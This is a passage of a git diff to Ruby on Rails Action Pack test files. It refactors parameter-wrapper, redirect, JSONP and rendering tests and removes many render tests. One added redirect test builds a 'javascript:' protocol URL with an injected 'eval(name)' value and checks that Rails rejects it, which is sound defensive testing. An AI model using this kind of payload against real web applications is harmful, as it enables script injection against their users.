+ end
+ end
+
+ def test_empty_parameter_set
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, {}
+ assert_parameters(
+ {'user' => { } }
+ )
+ end
+ end
end
class NamespacedParamsWrapperTest < ActionController::TestCase
@@ -317,14 +337,26 @@ class IrregularInflectionParamsWrapperTest < ActionController::TestCase
tests ParamswrappernewsController
def test_uses_model_attribute_names_with_irregular_inflection
- ActiveSupport::Inflector.inflections do |inflect|
- inflect.irregular 'paramswrappernews_item', 'paramswrappernews'
- end
+ with_dup do
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular 'paramswrappernews_item', 'paramswrappernews'
+ end
- with_default_wrapper_options do
- @request.env['CONTENT_TYPE'] = 'application/json'
- post :parse, { 'username' => 'sikachu', 'test_attr' => 'test_value' }
- assert_parameters({ 'username' => 'sikachu', 'test_attr' => 'test_value', 'paramswrappernews_item' => { 'test_attr' => 'test_value' }})
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu', 'test_attr' => 'test_value' }
+ assert_parameters({ 'username' => 'sikachu', 'test_attr' => 'test_value', 'paramswrappernews_item' => { 'test_attr' => 'test_value' }})
+ end
end
end
+
+ private
+
+ def with_dup
+ original = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)[:en]
+ ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original.dup)
+ yield
+ ensure
+ ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original)
+ end
end
diff --git a/actionpack/test/controller/redirect_test.rb b/actionpack/test/controller/redirect_test.rb
index 4331333b98..103ca9c776 100644
--- a/actionpack/test/controller/redirect_test.rb
+++ b/actionpack/test/controller/redirect_test.rb
@@ -90,6 +90,10 @@ class RedirectController < ActionController::Base
redirect_to nil
end
+ def redirect_to_params
+ redirect_to ActionController::Parameters.new(status: 200, protocol: 'javascript', f: '%0Aeval(name)')
+ end
+
def redirect_to_with_block
redirect_to proc { "http://www.rubyonrails.org/" }
end
@@ -281,6 +285,12 @@ class RedirectTest < ActionController::TestCase
end
end
+ def test_redirect_to_params
+ assert_raise(ActionController::ActionControllerError) do
+ get :redirect_to_params
+ end
+ end
+
def test_redirect_to_with_block
get :redirect_to_with_block
assert_response :redirect
diff --git a/actionpack/test/controller/render_js_test.rb b/actionpack/test/controller/render_js_test.rb
index f070109b27..d550422a2f 100644
--- a/actionpack/test/controller/render_js_test.rb
+++ b/actionpack/test/controller/render_js_test.rb
@@ -22,7 +22,7 @@ class RenderJSTest < ActionController::TestCase
tests TestController
def test_render_vanilla_js
- get :render_vanilla_js_hello
+ xhr :get, :render_vanilla_js_hello
assert_equal "alert('hello')", @response.body
assert_equal "text/javascript", @response.content_type
end
diff --git a/actionpack/test/controller/render_json_test.rb b/actionpack/test/controller/render_json_test.rb
index 7c0a6bd67e..ada978aa11 100644
--- a/actionpack/test/controller/render_json_test.rb
+++ b/actionpack/test/controller/render_json_test.rb
@@ -100,13 +100,13 @@ class RenderJsonTest < ActionController::TestCase
end
def test_render_json_with_callback
- get :render_json_hello_world_with_callback
- assert_equal 'alert({"hello":"world"})', @response.body
+ xhr :get, :render_json_hello_world_with_callback
+ assert_equal '/**/alert({"hello":"world"})', @response.body
assert_equal 'text/javascript', @response.content_type
end
def test_render_json_with_custom_content_type
- get :render_json_with_custom_content_type
+ xhr :get, :render_json_with_custom_content_type
assert_equal '{"hello":"world"}', @response.body
assert_equal 'text/javascript', @response.content_type
end
diff --git a/actionpack/test/controller/render_other_test.rb b/actionpack/test/controller/render_other_test.rb
index b5e74e373d..af50e11261 100644
--- a/actionpack/test/controller/render_other_test.rb
+++ b/actionpack/test/controller/render_other_test.rb
@@ -1,9 +1,5 @@
require 'abstract_unit'
-ActionController.add_renderer :simon do |says, options|
- self.content_type = Mime::TEXT
- self.response_body = "Simon says: #{says}"
-end
class RenderOtherTest < ActionController::TestCase
class TestController < ActionController::Base
@@ -15,7 +11,14 @@ class RenderOtherTest < ActionController::TestCase
tests TestController
def test_using_custom_render_option
+ ActionController.add_renderer :simon do |says, options|
+ self.content_type = Mime::TEXT
+ self.response_body = "Simon says: #{says}"
+ end
+
get :render_simon_says
assert_equal "Simon says: foo", @response.body
+ ensure
+ ActionController.remove_renderer :simon
end
end
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
index 7640bc12a2..b036b6c08e 100644
--- a/actionpack/test/controller/render_test.rb
+++ b/actionpack/test/controller/render_test.rb
@@ -2,26 +2,6 @@ require 'abstract_unit'
require 'controller/fake_models'
require 'pathname'
-module Fun
- class GamesController < ActionController::Base
- # :ported:
- def hello_world
- end
-
- def nested_partial_with_form_builder
- render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
- end
- end
-end
-
-module Quiz
- class QuestionsController < ActionController::Base
- def new
- render :partial => Quiz::Question.new("Namespaced Partial")
- end
- end
-end
-
class TestControllerWithExtraEtags < ActionController::Base
etag { nil }
etag { 'ab' }
@@ -30,7 +10,17 @@ class TestControllerWithExtraEtags < ActionController::Base
etag { nil }
def fresh
- render text: "stale" if stale?(etag: '123')
+ render text: "stale" if stale?(etag: '123', template: false)
+ end
+
+ def array
+ render text: "stale" if stale?(etag: %w(1 2 3), template: false)
+ end
+
+ def with_template
+ if stale? template: 'test/hello_world'
+ render text: 'stale'
+ end
end
end
@@ -54,10 +44,6 @@ class TestController < ActionController::Base
def hello_world
end
- def hello_world_file
- render :file => File.expand_path("../../fixtures/hello", __FILE__), :formats => [:html]
- end
-
def conditional_hello
if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123])
render :action => 'hello_world'
@@ -143,327 +129,10 @@ class TestController < ActionController::Base
fresh_when(:last_modified => Time.now.utc.beginning_of_day, :etag => [ :foo, 123 ])
end
- # :ported:
- def render_hello_world
- render :template => "test/hello_world"
- end
-
- def render_hello_world_with_last_modified_set
- response.last_modified = Date.new(2008, 10, 10).to_time
- render :template => "test/hello_world"
- end
-
- # :ported: compatibility
- def render_hello_world_with_forward_slash
- render :template => "/test/hello_world"
- end
-
- # :ported:
- def render_template_in_top_directory
- render :template => 'shared'
- end
-
- # :deprecated:
- def render_template_in_top_directory_with_slash
- render :template => '/shared'
- end
-
- # :ported:
- def render_hello_world_from_variable
- @person = "david"
- render :text => "hello #{@person}"
- end
-
- # :ported:
- def render_action_hello_world
- render :action => "hello_world"
- end
-
- def render_action_upcased_hello_world
- render :action => "Hello_world"
- end
-
- def render_action_hello_world_as_string
- render "hello_world"
- end
-
- def render_action_hello_world_with_symbol
- render :action => :hello_world
- end
-
- # :ported:
- def render_text_hello_world
- render :text => "hello world"
- end
-
- # :ported:
- def render_text_hello_world_with_layout
- @variable_for_layout = ", I am here!"
- render :text => "hello world", :layout => true
- end
-
- def hello_world_with_layout_false
- render :layout => false
- end
-
- # :ported:
- def render_file_with_instance_variables
- @secret = 'in the sauce'
- path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar')
- render :file => path
- end
-
- # :ported:
- def render_file_as_string_with_instance_variables
- @secret = 'in the sauce'
- path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar'))
- render path
- end
-
- # :ported:
- def render_file_not_using_full_path
- @secret = 'in the sauce'
- render :file => 'test/render_file_with_ivar'
- end
-
- def render_file_not_using_full_path_with_dot_in_path
- @secret = 'in the sauce'
- render :file => 'test/dot.directory/render_file_with_ivar'
- end
-
- def render_file_using_pathname
- @secret = 'in the sauce'
- render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar')
- end
-
- def render_file_from_template
- @secret = 'in the sauce'
- @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar'))
- end
-
- def render_file_with_locals
- path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals')
- render :file => path, :locals => {:secret => 'in the sauce'}
- end
-
- def render_file_as_string_with_locals
- path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals'))
- render path, :locals => {:secret => 'in the sauce'}
- end
-
- def accessing_request_in_template
- render :inline => "Hello: <%= request.host %>"
- end
-
- def accessing_logger_in_template
- render :inline => "<%= logger.class %>"
- end
-
- def accessing_action_name_in_template
- render :inline => "<%= action_name %>"
- end
-
- def accessing_controller_name_in_template
- render :inline => "<%= controller_name %>"
- end
-
- # :ported:
- def render_custom_code
- render :text => "hello world", :status => 404
- end
-
- # :ported:
- def render_text_with_nil
- render :text => nil
- end
-
- # :ported:
- def render_text_with_false
- render :text => false
- end
-
- def render_text_with_resource
- render :text => Customer.new("David")
- end
-
- # :ported:
- def render_nothing_with_appendix
- render :text => "appended"
- end
-
- # This test is testing 3 things:
- # render :file in AV :ported:
- # render :template in AC :ported:
- # setting content type
- def render_xml_hello
- @name = "David"
- render :template => "test/hello"
- end
-
- def render_xml_hello_as_string_template
- @name = "David"
- render "test/hello"
- end
-
- def render_line_offset
- render :inline => '<% raise %>', :locals => {:foo => 'bar'}
- end
-
def heading
head :ok
end
- def greeting
- # let's just rely on the template
- end
-
- # :ported:
- def blank_response
- render :text => ' '
- end
-
- # :ported:
- def layout_test
- render :action => "hello_world"
- end
-
- # :ported:
- def builder_layout_test
- @name = nil
- render :action => "hello", :layout => "layouts/builder"
- end
-
- # :move: test this in Action View
- def builder_partial_test
- render :action => "hello_world_container"
- end
-
- # :ported:
- def partials_list
- @test_unchanged = 'hello'
- @customers = [ Customer.new("david"), Customer.new("mary") ]
- render :action => "list"
- end
-
- def partial_only
- render :partial => true
- end
-
- def hello_in_a_string
- @customers = [ Customer.new("david"), Customer.new("mary") ]
- render :text => "How's there? " + render_to_string(:template => "test/list")
- end
-
- def accessing_params_in_template
- render :inline => "Hello: <%= params[:name] %>"
- end
-
- def accessing_local_assigns_in_inline_template
- name = params[:local_name]
- render :inline => "<%= 'Goodbye, ' + local_name %>",
- :locals => { :local_name => name }
- end
-
- def render_implicit_html_template_from_xhr_request
- end
-
- def render_implicit_js_template_without_layout
- end
-
- def formatted_html_erb
- end
-
- def formatted_xml_erb
- end
-
- def render_to_string_test
- @foo = render_to_string :inline => "this is a test"
- end
-
- def default_render
- @alternate_default_render ||= nil
- if @alternate_default_render
- @alternate_default_render.call
- else
- super
- end
- end
-
- def render_action_hello_world_as_symbol
- render :action => :hello_world
- end
-
- def layout_test_with_different_layout
- render :action => "hello_world", :layout => "standard"
- end
-
- def layout_test_with_different_layout_and_string_action
- render "hello_world", :layout => "standard"
- end
-
- def layout_test_with_different_layout_and_symbol_action
- render :hello_world, :layout => "standard"
- end
-
- def rendering_without_layout
- render :action => "hello_world", :layout => false
- end
-
- def layout_overriding_layout
- render :action => "hello_world", :layout => "standard"
- end
-
- def rendering_nothing_on_layout
- render :nothing => true
- end
-
- def render_to_string_with_assigns
- @before = "i'm before the render"
- render_to_string :text => "foo"
- @after = "i'm after the render"
- render :template => "test/hello_world"
- end
-
- def render_to_string_with_exception
- render_to_string :file => "exception that will not be caught - this will certainly not work"
- end
-
- def render_to_string_with_caught_exception
- @before = "i'm before the render"
- begin
- render_to_string :file => "exception that will be caught- hope my future instance vars still work!"
- rescue
- end
- @after = "i'm after the render"
- render :template => "test/hello_world"
- end
-
- def accessing_params_in_template_with_layout
- render :layout => true, :inline => "Hello: <%= params[:name] %>"
- end
-
- # :ported:
- def render_with_explicit_template
- render :template => "test/hello_world"
- end
-
- def render_with_explicit_unescaped_template
- render :template => "test/h*llo_world"
- end
-
- def render_with_explicit_escaped_template
- render :template => "test/hello,world"
- end
-
- def render_with_explicit_string_template
- render "test/hello_world"
- end
-
- # :ported:
- def render_with_explicit_template_with_locals
- render :template => "test/render_file_with_locals", :locals => { :secret => 'area51' }
- end
-
# :ported:
def double_render
render :text => "hello"
@@ -504,25 +173,6 @@ class TestController < ActionController::Base
render :template => "test/hello_world_from_rxml", :handlers => [:builder]
end
- def action_talk_to_layout
- # Action template sets variable that's picked up by layout
- end
-
- # :addressed:
- def render_text_with_assigns
- @hello = "world"
- render :text => "foo"
- end
-
- def yield_content_for
- render :action => "content_for", :layout => "yield"
- end
-
- def render_content_type_from_body
- response.content_type = Mime::RSS
- render :text => "hello world!"
- end
-
def head_created
head :created
end
@@ -531,6 +181,10 @@ class TestController < ActionController::Base
head :created, :content_type => "application/json"
end
+ def head_ok_with_image_png_content_type
+ head :ok, :content_type => "image/png"
+ end
+
def head_with_location_header
head :location => "/foo"
end
@@ -563,162 +217,6 @@ class TestController < ActionController::Base
head :forbidden, :x_custom_header => "something"
end
- def render_using_layout_around_block
- render :action => "using_layout_around_block"
- end
-
- def render_using_layout_around_block_in_main_layout_and_within_content_for_layout
- render :action => "using_layout_around_block", :layout => "layouts/block_with_layout"
- end
-
- def partial_formats_html
- render :partial => 'partial', :formats => [:html]
- end
-
- def partial
- render :partial => 'partial'
- end
-
- def partial_html_erb
- render :partial => 'partial_html_erb'
- end
-
- def render_to_string_with_partial
- @partial_only = render_to_string :partial => "partial_only"
- @partial_with_locals = render_to_string :partial => "customer", :locals => { :customer => Customer.new("david") }
- render :template => "test/hello_world"
- end
-
- def render_to_string_with_template_and_html_partial
- @text = render_to_string :template => "test/with_partial", :formats => [:text]
- @html = render_to_string :template => "test/with_partial", :formats => [:html]
- render :template => "test/with_html_partial"
- end
-
- def render_to_string_and_render_with_different_formats
- @html = render_to_string :template => "test/with_partial", :formats => [:html]
- render :template => "test/with_partial", :formats => [:text]
- end
-
- def render_template_within_a_template_with_other_format
- render :template => "test/with_xml_template",
- :formats => [:html],
- :layout => "with_html_partial"
- end
-
- def partial_with_counter
- render :partial => "counter", :locals => { :counter_counter => 5 }
- end
-
- def partial_with_locals
- render :partial => "customer", :locals => { :customer => Customer.new("david") }
- end
-
- def partial_with_form_builder
- render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
- end
-
- def partial_with_form_builder_subclass
- render :partial => LabellingFormBuilder.new(:post, nil, view_context, {})
- end
-
- def partial_collection
- render :partial => "customer", :collection => [ Customer.new("david"), Customer.new("mary") ]
- end
-
- def partial_collection_with_as
- render :partial => "customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer
- end
-
- def partial_collection_with_counter
- render :partial => "customer_counter", :collection => [ Customer.new("david"), Customer.new("mary") ]
- end
-
- def partial_collection_with_as_and_counter
- render :partial => "customer_counter_with_as", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :client
- end
-
- def partial_collection_with_locals
- render :partial => "customer_greeting", :collection => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
- end
-
- def partial_collection_with_spacer
- render :partial => "customer", :spacer_template => "partial_only", :collection => [ Customer.new("david"), Customer.new("mary") ]
- end
-
- def partial_collection_with_spacer_which_uses_render
- render :partial => "customer", :spacer_template => "partial_with_partial", :collection => [ Customer.new("david"), Customer.new("mary") ]
- end
-
- def partial_collection_shorthand_with_locals
- render :partial => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
- end
-
- def partial_collection_shorthand_with_different_types_of_records
- render :partial => [
- BadCustomer.new("mark"),
- GoodCustomer.new("craig"),
- BadCustomer.new("john"),
- GoodCustomer.new("zach"),
- GoodCustomer.new("brandon"),
- BadCustomer.new("dan") ],
- :locals => { :greeting => "Bonjour" }
- end
-
- def empty_partial_collection
- render :partial => "customer", :collection => []
- end
-
- def partial_collection_shorthand_with_different_types_of_records_with_counter
- partial_collection_shorthand_with_different_types_of_records
- end
-
- def missing_partial
- render :partial => 'thisFileIsntHere'
- end
-
- def partial_with_hash_object
- render :partial => "hash_object", :object => {:first_name => "Sam"}
- end
-
- def partial_with_nested_object
- render :partial => "quiz/questions/question", :object => Quiz::Question.new("first")
- end
-
- def partial_with_nested_object_shorthand
- render Quiz::Question.new("first")
- end
-
- def partial_hash_collection
- render :partial => "hash_object", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ]
- end
-
- def partial_hash_collection_with_locals
- render :partial => "hash_greeting", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ], :locals => { :greeting => "Hola" }
- end
-
- def partial_with_implicit_local_assignment
- @customer = Customer.new("Marcel")
- render :partial => "customer"
- end
-
- def render_call_to_partial_with_layout
- render :action => "calling_partial_with_layout"
- end
-
- def render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
- render :action => "calling_partial_with_layout", :layout => "layouts/partial_with_layout"
- end
-
- before_action only: :render_with_filters do
- request.format = :xml
- end
-
- # Ensure that the before filter is executed *before* self.formats is set.
- def render_with_filters
- render :action => :formatted_xml_erb
- end
-
private
def set_variable_for_layout
@@ -747,783 +245,20 @@ class TestController < ActionController::Base
end
class MetalTestController < ActionController::Metal
+ include AbstractController::Rendering
+ include ActionView::Rendering
include ActionController::Rendering
+ include ActionController::RackDelegation
+
def accessing_logger_in_template
render :inline => "<%= logger.class %>"
end
end
-class RenderTest < ActionController::TestCase
- tests TestController
-
- def setup
- # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
- # a more accurate simulation of what happens in "real life".
- super
- @controller.logger = ActiveSupport::Logger.new(nil)
- ActionView::Base.logger = ActiveSupport::Logger.new(nil)
-
- @request.host = "www.nextangle.com"
- end
-
- # :ported:
- def test_simple_show
- get :hello_world
- assert_response 200
- assert_response :success
- assert_template "test/hello_world"
- assert_equal "<html>Hello world!</html>", @response.body
- end
-
- # :ported:
- def test_renders_default_template_for_missing_action
- get :'hyphen-ated'
- assert_template 'test/hyphen-ated'
- end
-
- # :ported:
- def test_render
- get :render_hello_world
- assert_template "test/hello_world"
- end
-
- def test_line_offset
- begin
- get :render_line_offset
- flunk "the action should have raised an exception"
- rescue StandardError => exc
- line = exc.backtrace.first
- assert(line =~ %r{:(\d+):})
- assert_equal "1", $1,
- "The line offset is wrong, perhaps the wrong exception has been raised, exception was: #{exc.inspect}"
- end
- end
-
- # :ported: compatibility
- def test_render_with_forward_slash
- get :render_hello_world_with_forward_slash
- assert_template "test/hello_world"
- end
-
- # :ported:
- def test_render_in_top_directory
- get :render_template_in_top_directory
- assert_template "shared"
- assert_equal "Elastica", @response.body
- end
-
- # :ported:
- def test_render_in_top_directory_with_slash
- get :render_template_in_top_directory_with_slash
- assert_template "shared"
- assert_equal "Elastica", @response.body
- end
-
- # :ported:
- def test_render_from_variable
- get :render_hello_world_from_variable
- assert_equal "hello david", @response.body
- end
-
- # :ported:
- def test_render_action
- get :render_action_hello_world
- assert_template "test/hello_world"
- end
-
- def test_render_action_upcased
- assert_raise ActionView::MissingTemplate do
- get :render_action_upcased_hello_world
- end
- end
-
- # :ported:
- def test_render_action_hello_world_as_string
- get :render_action_hello_world_as_string
- assert_equal "Hello world!", @response.body
- assert_template "test/hello_world"
- end
-
- # :ported:
- def test_render_action_with_symbol
- get :render_action_hello_world_with_symbol
- assert_template "test/hello_world"
- end
-
- # :ported:
- def test_render_text
- get :render_text_hello_world
- assert_equal "hello world", @response.body
- end
-
- # :ported:
- def test_do_with_render_text_and_layout
- get :render_text_hello_world_with_layout
- assert_equal "<html>hello world, I am here!</html>", @response.body
- end
-
- # :ported:
- def test_do_with_render_action_and_layout_false
- get :hello_world_with_layout_false
- assert_equal 'Hello world!', @response.body
- end
-
- # :ported:
- def test_render_file_with_instance_variables
- get :render_file_with_instance_variables
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- def test_render_file
- get :hello_world_file
- assert_equal "Hello world!", @response.body
- end
-
- # :ported:
- def test_render_file_as_string_with_instance_variables
- get :render_file_as_string_with_instance_variables
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :ported:
- def test_render_file_not_using_full_path
- get :render_file_not_using_full_path
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :ported:
- def test_render_file_not_using_full_path_with_dot_in_path
- get :render_file_not_using_full_path_with_dot_in_path
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :ported:
- def test_render_file_using_pathname
- get :render_file_using_pathname
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :ported:
- def test_render_file_with_locals
- get :render_file_with_locals
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :ported:
- def test_render_file_as_string_with_locals
- get :render_file_as_string_with_locals
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :assessed:
- def test_render_file_from_template
- get :render_file_from_template
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :ported:
- def test_render_custom_code
- get :render_custom_code
- assert_response 404
- assert_response :missing
- assert_equal 'hello world', @response.body
- end
-
- # :ported:
- def test_render_text_with_nil
- get :render_text_with_nil
- assert_response 200
- assert_equal ' ', @response.body
- end
-
- # :ported:
- def test_render_text_with_false
- get :render_text_with_false
- assert_equal 'false', @response.body
- end
-
- # :ported:
- def test_render_nothing_with_appendix
- get :render_nothing_with_appendix
- assert_response 200
- assert_equal 'appended', @response.body
- end
-
- def test_render_text_with_resource
- get :render_text_with_resource
- assert_equal 'name: "David"', @response.body
- end
-
- # :ported:
- def test_attempt_to_access_object_method
- assert_raise(AbstractController::ActionNotFound, "No action responded to [clone]") { get :clone }
- end
-
- # :ported:
- def test_private_methods
- assert_raise(AbstractController::ActionNotFound, "No action responded to [determine_layout]") { get :determine_layout }
- end
-
- # :ported:
- def test_access_to_request_in_view
- get :accessing_request_in_template
- assert_equal "Hello: www.nextangle.com", @response.body
- end
-
- def test_access_to_logger_in_view
- get :accessing_logger_in_template
- assert_equal "ActiveSupport::Logger", @response.body
- end
-
- # :ported:
- def test_access_to_action_name_in_view
- get :accessing_action_name_in_template
- assert_equal "accessing_action_name_in_template", @response.body
- end
-
- # :ported:
- def test_access_to_controller_name_in_view
- get :accessing_controller_name_in_template
- assert_equal "test", @response.body # name is explicitly set in the controller.
- end
-
- # :ported:
- def test_render_xml
- get :render_xml_hello
- assert_equal "<html>\n <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
- assert_equal "application/xml", @response.content_type
- end
-
- # :ported:
- def test_render_xml_as_string_template
- get :render_xml_hello_as_string_template
- assert_equal "<html>\n <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
- assert_equal "application/xml", @response.content_type
- end
-
- # :ported:
- def test_render_xml_with_default
- get :greeting
- assert_equal "<p>This is grand!</p>\n", @response.body
- end
-
- # :move: test in AV
- def test_render_xml_with_partial
- get :builder_partial_test
- assert_equal "<test>\n <hello/>\n</test>\n", @response.body
- end
-
- # :ported:
- def test_layout_rendering
- get :layout_test
- assert_equal "<html>Hello world!</html>", @response.body
- end
-
- def test_render_xml_with_layouts
- get :builder_layout_test
- assert_equal "<wrapper>\n<html>\n <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
- end
-
- def test_partials_list
- get :partials_list
- assert_equal "goodbyeHello: davidHello: marygoodbye\n", @response.body
- end
-
- def test_render_to_string
- get :hello_in_a_string
- assert_equal "How's there? goodbyeHello: davidHello: marygoodbye\n", @response.body
- end
-
- def test_render_to_string_resets_assigns
- get :render_to_string_test
- assert_equal "The value of foo is: ::this is a test::\n", @response.body
- end
-
- def test_render_to_string_inline
- get :render_to_string_with_inline_and_render
- assert_template "test/hello_world"
- end
-
- # :ported:
- def test_nested_rendering
- @controller = Fun::GamesController.new
- get :hello_world
- assert_equal "Living in a nested world", @response.body
- end
-
- def test_accessing_params_in_template
- get :accessing_params_in_template, :name => "David"
- assert_equal "Hello: David", @response.body
- end
-
- def test_accessing_local_assigns_in_inline_template
- get :accessing_local_assigns_in_inline_template, :local_name => "Local David"
- assert_equal "Goodbye, Local David", @response.body
- assert_equal "text/html", @response.content_type
- end
-
- def test_should_implicitly_render_html_template_from_xhr_request
- xhr :get, :render_implicit_html_template_from_xhr_request
- assert_equal "XHR!\nHello HTML!", @response.body
- end
-
- def test_should_implicitly_render_js_template_without_layout
- get :render_implicit_js_template_without_layout, :format => :js
- assert_no_match %r{<html>}, @response.body
- end
-
- def test_should_render_formatted_template
- get :formatted_html_erb
- assert_equal 'formatted html erb', @response.body
- end
-
- def test_should_render_formatted_html_erb_template
- get :formatted_xml_erb
- assert_equal '<test>passed formatted html erb</test>', @response.body
- end
-
- def test_should_render_formatted_html_erb_template_with_faulty_accepts_header
- @request.accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appliction/x-shockwave-flash, */*"
- get :formatted_xml_erb
- assert_equal '<test>passed formatted html erb</test>', @response.body
- end
-
- def test_layout_test_with_different_layout
- get :layout_test_with_different_layout
- assert_equal "<html>Hello world!</html>", @response.body
- end
-
- def test_layout_test_with_different_layout_and_string_action
- get :layout_test_with_different_layout_and_string_action
- assert_equal "<html>Hello world!</html>", @response.body
- end
-
- def test_layout_test_with_different_layout_and_symbol_action
- get :layout_test_with_different_layout_and_symbol_action
- assert_equal "<html>Hello world!</html>", @response.body
- end
-
- def test_rendering_without_layout
- get :rendering_without_layout
- assert_equal "Hello world!", @response.body
- end
-
- def test_layout_overriding_layout
- get :layout_overriding_layout
- assert_no_match %r{<title>}, @response.body
- end
-
- def test_rendering_nothing_on_layout
- get :rendering_nothing_on_layout
- assert_equal " ", @response.body
- end
-
- def test_render_to_string_doesnt_break_assigns
- get :render_to_string_with_assigns
- assert_equal "i'm before the render", assigns(:before)
- assert_equal "i'm after the render", assigns(:after)
- end
-
- def test_bad_render_to_string_still_throws_exception
- assert_raise(ActionView::MissingTemplate) { get :render_to_string_with_exception }
- end
-
- def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns
- assert_nothing_raised { get :render_to_string_with_caught_exception }
- assert_equal "i'm before the render", assigns(:before)
- assert_equal "i'm after the render", assigns(:after)
- end
-
- def test_accessing_params_in_template_with_layout
- get :accessing_params_in_template_with_layout, :name => "David"
- assert_equal "<html>Hello: David</html>", @response.body
- end
-
- def test_render_with_explicit_template
- get :render_with_explicit_template
- assert_response :success
- end
-
- def test_render_with_explicit_unescaped_template
- assert_raise(ActionView::MissingTemplate) { get :render_with_explicit_unescaped_template }
- get :render_with_explicit_escaped_template
- assert_equal "Hello w*rld!", @response.body
- end
-
- def test_render_with_explicit_string_template
- get :render_with_explicit_string_template
- assert_equal "<html>Hello world!</html>", @response.body
- end
-
- def test_render_with_filters
- get :render_with_filters
- assert_equal "<test>passed formatted xml erb</test>", @response.body
- end
-
- # :ported:
- def test_double_render
- assert_raise(AbstractController::DoubleRenderError) { get :double_render }
- end
-
- def test_double_redirect
- assert_raise(AbstractController::DoubleRenderError) { get :double_redirect }
- end
-
- def test_render_and_redirect
- assert_raise(AbstractController::DoubleRenderError) { get :render_and_redirect }
- end
-
- # specify the one exception to double render rule - render_to_string followed by render
- def test_render_to_string_and_render
- get :render_to_string_and_render
- assert_equal("Hi web users! here is some cached stuff", @response.body)
- end
-
- def test_rendering_with_conflicting_local_vars
- get :rendering_with_conflicting_local_vars
- assert_equal("First: David\nSecond: Stephan\nThird: David\nFourth: David\nFifth: ", @response.body)
- end
-
- def test_action_talk_to_layout
- get :action_talk_to_layout
- assert_equal "<title>Talking to the layout</title>\nAction was here!", @response.body
- end
-
- # :addressed:
- def test_render_text_with_assigns
- get :render_text_with_assigns
- assert_equal "world", assigns["hello"]
- end
-
- # :ported:
- def test_template_with_locals
- get :render_with_explicit_template_with_locals
- assert_equal "The secret is area51\n", @response.body
- end
-
- def test_yield_content_for
- get :yield_content_for
- assert_equal "<title>Putting stuff in the title!</title>\nGreat stuff!\n", @response.body
- end
-
- def test_overwritting_rendering_relative_file_with_extension
- get :hello_world_from_rxml_using_template
- assert_equal "<html>\n <p>Hello</p>\n</html>\n", @response.body
-
- get :hello_world_from_rxml_using_action
- assert_equal "<html>\n <p>Hello</p>\n</html>\n", @response.body
- end
-
- def test_head_created
- post :head_created
- assert_blank @response.body
- assert_response :created
- end
-
- def test_head_created_with_application_json_content_type
- post :head_created_with_application_json_content_type
- assert_blank @response.body
- assert_equal "application/json", @response.content_type
- assert_response :created
- end
-
- def test_head_with_location_header
- get :head_with_location_header
- assert_blank @response.body
- assert_equal "/foo", @response.headers["Location"]
- assert_response :ok
- end
-
- def test_head_with_location_object
- with_routing do |set|
- set.draw do
- resources :customers
- get ':controller/:action'
- end
-
- get :head_with_location_object
- assert_blank @response.body
- assert_equal "http://www.nextangle.com/customers/1", @response.headers["Location"]
- assert_response :ok
- end
- end
-
- def test_head_with_custom_header
- get :head_with_custom_header
- assert_blank @response.body
- assert_equal "something", @response.headers["X-Custom-Header"]
- assert_response :ok
- end
-
- def test_head_with_www_authenticate_header
- get :head_with_www_authenticate_header
- assert_blank @response.body
- assert_equal "something", @response.headers["WWW-Authenticate"]
- assert_response :ok
- end
-
- def test_head_with_symbolic_status
- get :head_with_symbolic_status, :status => "ok"
- assert_equal 200, @response.status
- assert_response :ok
-
- get :head_with_symbolic_status, :status => "not_found"
- assert_equal 404, @response.status
- assert_response :not_found
-
- get :head_with_symbolic_status, :status => "no_content"
- assert_equal 204, @response.status
- assert !@response.headers.include?('Content-Length')
- assert_response :no_content
-
- Rack::Utils::SYMBOL_TO_STATUS_CODE.each do |status, code|
- get :head_with_symbolic_status, :status => status.to_s
- assert_equal code, @response.response_code
- assert_response status
- end
- end
-
- def test_head_with_integer_status
- Rack::Utils::HTTP_STATUS_CODES.each do |code, message|
- get :head_with_integer_status, :status => code.to_s
- assert_equal message, @response.message
- end
- end
-
- def test_head_with_string_status
- get :head_with_string_status, :status => "404 Eat Dirt"
- assert_equal 404, @response.response_code
- assert_equal "Not Found", @response.message
- assert_response :not_found
- end
-
- def test_head_with_status_code_first
- get :head_with_status_code_first
- assert_equal 403, @response.response_code
